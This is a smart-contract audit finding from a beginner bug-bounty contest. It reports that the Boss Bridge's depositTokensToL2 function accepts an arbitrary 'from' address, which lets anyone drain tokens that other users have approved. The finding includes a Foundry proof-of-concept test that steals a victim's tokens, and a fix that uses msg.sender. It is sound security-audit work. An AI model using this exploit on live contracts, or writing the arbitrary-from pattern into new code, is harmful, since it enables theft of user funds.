First Flight #4: Boss Bridge
First Flight #4
Beginner FriendlyFoundryBridge
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

arbitrary from in safeTransferFrom in depositTokensToL2 - steal funds

rapstyle

Summary

The function L1BossBridge::depositTokensToL2 accept as param an arbitrary address and it use this address inside safeTransferFrom instead of using msg.sender.

Vulnerability Details

@> function depositTokensToL2(address from, address l2Recipient, uint256 amount) external whenNotPaused {
if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
revert L1BossBridge__DepositLimitReached();
}
@> token.safeTransferFrom(from, address(vault), amount);
​
// Our off-chain service picks up this event and mints the corresponding tokens on L2
emit Deposit(from, l2Recipient, amount);
}

The function L1BossBridge::depositTokensToL2 accepts the from address as a parameter.
The from address is used inside the safeTransferFrom function to move the amount of tokens from the from address to the vault, and after that the L2 will move the funds to the l2Recipient address.
An attacker can insert as from an address of another user and steal funds.

Here a test to verify the attack:

Code
function testAttackerCanStealTokens() public {
vm.startPrank(user);
// The victim approve 10e18 tokens to transfer
// But move only a part at the moment
uint256 amountToApprove = 10e18;
uint256 amountToSend = 2e18;
uint256 amountToSteal = 5e18;
token.approve(address(tokenBridge), amountToApprove);
​
// Initial balance of the victim: 1000000000000000000000
console2.log(token.balanceOf(address(user)));
​
// The victim deposit 2e18
vm.expectEmit(address(tokenBridge));
emit Deposit(user, userInL2, amountToSend);
tokenBridge.depositTokensToL2(user, userInL2, amountToSend);
​
// The balance of the victim after his deposit: 998000000000000000000
console2.log(token.balanceOf(address(user)));
​
// The attacker steals 5e18 to the victim
vm.startPrank(user2);
vm.expectEmit(address(tokenBridge));
emit Deposit(user, user2InL2, amountToSteal);
tokenBridge.depositTokensToL2(user, user2InL2, amountToSteal);
​
// The balance of the victim after the attack: 993000000000000000000
console2.log(token.balanceOf(address(user)));
​
assertEq(token.balanceOf(address(tokenBridge)), 0);
assertEq(token.balanceOf(address(vault)), amountToSend + amountToSteal);
vm.stopPrank();
}

Impact

An attacker can steal funds to another user that have approved a amount greater than the amount he had transferred.

Tools Used

Manual check + Foundry test

Recommendations

It is better use msg.sender and not an arbitrary from address in transferFrom.

function depositTokensToL2(
- address from,
address l2Recipient,
uint256 amount
) external whenNotPaused {
if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
revert L1BossBridge__DepositLimitReached();
}
- token.safeTransferFrom(from, address(vault), amount);
+ token.safeTransferFrom(msg.sender, address(vault), amount);
​
// Our off-chain service picks up this event and mints the corresponding tokens on L2
- emit Deposit(from, l2Recipient, amount);
+ emit Deposit(msg.sender, l2Recipient, amount);
}
Updates

Lead Judging Commences

0xnevi Lead Judge almost 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

depositTokensToL2(): abitrary from address

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.